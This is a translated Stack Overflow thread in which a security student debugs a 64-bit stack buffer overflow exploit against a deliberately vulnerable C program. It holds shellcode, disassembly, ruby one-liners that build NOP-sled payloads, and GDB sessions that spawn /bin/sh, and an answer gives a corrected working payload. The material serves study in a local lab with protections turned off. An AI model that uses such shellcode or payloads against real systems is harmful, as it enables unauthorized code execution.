shellcode 中的系统调用无法运行。

4

注意:我已经在Portuguese Language的Stackoverflow上提出了这个问题:https://pt.stackoverflow.com/questions/76571/seguran%C3%A7a-syscall-dentro-de-shellcode-n%C3%A3o-executa。但是看起来这是一个非常困难的问题,所以这个问题只是葡萄牙语问题的翻译。

我正在研究信息安全,并进行一些实验尝试利用一个典型的缓冲区溢出案例。

我成功地创建了shellcode,并将其注入到易受攻击的程序中并执行了它。我的问题是execve()系统调用无法有效地获取shell。

更详细地说:

这是易受攻击程序的代码(在Ubuntu 15.04 x88-64上编译,使用以下gcc标志:“-fno-stack-protector -z execstack -g”,关闭ASLR):

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int do_bof(char *exploit) {
    char buf[128];

    strcpy(buf, exploit);
    return 1;
}

int main(int argc, char *argv[]) {
    if(argc < 2) {
        puts("Usage: bof <any>");
        return 0;
    }

    do_bof(argv[1]);
    puts("Failed to exploit.");
    return 0;
}

这是一个小型汇编程序,它会产生一个shell并退出。 请注意,此代码可以独立工作。也就是说,如果我单独组合、链接和运行此代码,它将正常工作。

global _start

section .text
_start:
    jmp short push_shell
starter:
    pop rdi
    mov al, 59
    xor rsi, rsi
    xor rdx, rdx
    xor rcx, rcx
    syscall
    xor al, al
    mov BYTE [rdi], al
    mov al, 60
    syscall
push_shell:
    call starter
shell:
    db  "/bin/sh"

这是上述程序的 objdump -d -M intel 的输出,其中提取了shellcode(注意:输出语言为葡萄牙语):
spawn_shell.o: formato do arquivo elf64-x86-64

Desmontagem da seção .text:

0000000000000000 <_start>:
   0:   eb 16                   jmp    18 <push_shell>

0000000000000002 <starter>:
   2:   5f                      pop    rdi
   3:   b0 3b                   mov    al,0x3b
   5:   48 31 f6                xor    rsi,rsi
   8:   48 31 d2                xor    rdx,rdx
   b:   48 31 c9                xor    rcx,rcx
   e:   0f 05                   syscall 
  10:   30 c0                   xor    al,al
  12:   88 07                   mov    BYTE PTR [rdi],al
  14:   b0 3c                   mov    al,0x3c
  16:   0f 05                   syscall 

0000000000000018 <push_shell>:
  18:   e8 e5 ff ff ff          call   2 <starter>

000000000000001d <shell>:
  1d:   2f                      (bad)  
  1e:   62                      (bad)  
  1f:   69                      .byte 0x69
  20:   6e                      outs   dx,BYTE PTR ds:[rsi]
  21:   2f                      (bad)  
  22:   73 68                   jae    8c <shell+0x6f>

这个命令将作为有效载荷,注入shellcode以及需要的nop sleed和返回地址,用于覆盖原始的返回地址:

ruby -e 'print "\x90" * 103 + "\xeb\x13\x5f\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x30\xc0\x88\x07\xb0\x3c\x0f\x05\xe8\xe8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\xd0\xd8\xff\xff\xff\x7f"'

到目前为止,我已经非常仔细地注入了我的shellcode并进行了调试,注意到RIP寄存器看执行出现了什么问题。我发现:
  • 返回地址被正确覆盖,并且执行跳转到我的shellcode。
  • 执行一切正常,直到我的汇编程序中的"e:"行,即execve()系统调用发生的地方。
  • 即使寄存器已经正确设置用于系统调用,该系统调用仍然无法使用。奇怪的是,在这一行之后,RAX和RCX寄存器位都已设置好。

结果是,执行到非条件跳转,将shell的地址推入栈中,又开始一个无限循环,直到程序在SEGFAULT中崩溃。

这就是主要问题:系统调用无法使用。

一些注意事项:

  • Some would say that my "/bin/sh" strings needs to be null terminated. Well, it does not seem to be necessary, nasm seems to put a null byte implicitly, and my assembly program works, as I stated.
  • Remember it's a 64 bit shellcode.
  • This shellcode works in the following code:

    char shellcode[] = "\xeb\x0b\x5f\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
    
    int main() {
        void (*func)();
        func = (void (*)()) shellcode;
        (void)(func)();
    }
    

我的shellcode有什么问题?

编辑1:

感谢Jester的答案,第一个问题得到解决。此外,我发现shellcode不需要单独工作的要求。shellcode的新汇编代码为:

spawn_shell: formato do arquivo elf64-x86-64


Desmontagem da seção .text:

0000000000400080 <_start>:
  400080:   eb 1e                   jmp    4000a0 <push_shell>

0000000000400082 <starter>:
  400082:   5f                      pop    %rdi
  400083:   48 31 c0                xor    %rax,%rax
  400086:   88 47 07                mov    %al,0x7(%rdi)
  400089:   b0 3b                   mov    $0x3b,%al
  40008b:   48 31 f6                xor    %rsi,%rsi
  40008e:   48 31 d2                xor    %rdx,%rdx
  400091:   48 31 c9                xor    %rcx,%rcx
  400094:   0f 05                   syscall 
  400096:   48 31 c0                xor    %rax,%rax
  400099:   48 31 ff                xor    %rdi,%rdi
  40009c:   b0 3c                   mov    $0x3c,%al
  40009e:   0f 05                   syscall 

00000000004000a0 <push_shell>:
  4000a0:   e8 dd ff ff ff          callq  400082 <starter>
  4000a5:   2f                      (bad)  
  4000a6:   62                      (bad)  
  4000a7:   69                      .byte 0x69
  4000a8:   6e                      outsb  %ds:(%rsi),(%dx)
  4000a9:   2f                      (bad)  
  4000aa:   73 68                   jae    400114 <push_shell+0x74>

如果我组装和链接它,它不会工作,但是如果我将其作为有效载荷注入到另一个程序中,它就会起作用!为什么?因为如果我独立运行这个程序,它将尝试终止一个已经是NULL结尾的字符串"/bin/sh"。操作系统似乎即使对于汇编程序也进行了初始设置。但是如果我注入shellcode,事实上更重要的是:我的syscall没有成功的真正原因是在运行时"/bin/sh"字符串没有被NULL结尾,但是作为一个独立的程序,它是NULL结尾的,这就是为什么它可以工作。

因此,你的shellcode作为独立程序正常运行并不能证明它能够工作。

利用已经成功了...至少在GDB里面。现在我有一个新问题:漏洞利用在GDB内部有效,但在外部无法生效。

$ gdb -q bof3
Lendo símbolos de bof3...concluído.
(gdb) r (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\ x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
Starting program: /home/sidao/h4x0r/C-CPP-Projects/security/bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
process 13952 está executando novo programa: /bin/dash
$ ls
bof    bof2.c  bof3_env      bof3_new_shellcode.txt bof3_shellcode.txt  get_shell     shellcode_exit    shellcode_hello.c  shellcode_shell2
bof.c  bof3    bof3_env.c    bof3_non_dbg        func_stack      get_shell.c      shellcode_exit.c  shellcode_shell    shellcode_shell2.c
bof2   bof3.c  bof3_gdb_env  bof3_run_env        func_stack.c    shellcode_bof.c  shellcode_hello   shellcode_shell.c
$ exit
[Inferior 1 (process 13952) exited normally]
(gdb) 

同时,外部:

$ ./bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
fish: Job 1, “./bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')” terminated by signal SIGSEGV (Address boundary error)

我立即搜索了相关内容,发现了这个问题:缓冲区溢出在gdb中可以工作但是在没有gdb的情况下不能工作

最初我认为只需要取消设置两个环境变量并发现一个新的返回地址,但是取消设置两个变量并没有产生最小的差异:

$ gdb -q bof3
Lendo símbolos de bof3...concluído.
(gdb) unset env COLUMNS
(gdb) unset env LINES
(gdb) r (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
Starting program: /home/sidao/h4x0r/C-CPP-Projects/security/bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
process 14670 está executando novo programa: /bin/dash
$ 

现在,这是第二个问题:为什么漏洞在GDB中有效但在其外部则无效?

猜测strcpy只会复制到第一个0字节。所以如果攻击包含任何0字节,那么你只会复制到第一个0字节之前的部分攻击内容。 - John3136
@John3136,正如你所看到的,它并没有。 - Jester
1个回答

3
问题在于mov al,0x3b指令。您忘记将高位清零,因此如果它们尚未为零,则不会执行execve系统调用,而是执行其他操作。简单的调试应该可以指出这一点。解决方案很简单:只需在此之前插入xor eax,eax。此外,由于您向攻击代码附加了返回地址,因此该字符串将不再以零结尾。通过例如在您清除eax之后使用mov [rdi + 7],al在运行时存储一个零就可以轻松修复它。
完整的攻击代码可能如下所示: ruby -e'print"\x90"*98+"\xeb\x18\x5f\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x30\xc0\x88\x07\xb0\x3c\x0f\x05\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"\xd0\xd8\xff\xff\xff\x7f"' 初始部分对应于:
    jmp short push_shell
starter:
    pop rdi
    xor eax, eax
    mov [rdi + 7], al
    mov al, 59

请注意,由于代码大小的改变,最后的 jmpcall 的偏移量也必须更改,nop 指令的数量也必须更改。
上述代码(返回地址已调整为我的系统)在此处正常运行。

好的,好的...你的shellcode有效了,我重新制作了我的shellcode以使其有效。然而,一个更奇怪的问题出现了:在GDB中,攻击成功了,但是在程序独立运行时却不起作用。=D - Sid
独立运行时内存布局略有不同。如果使用正确的地址,它也可以在独立模式下工作。 - Jester

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接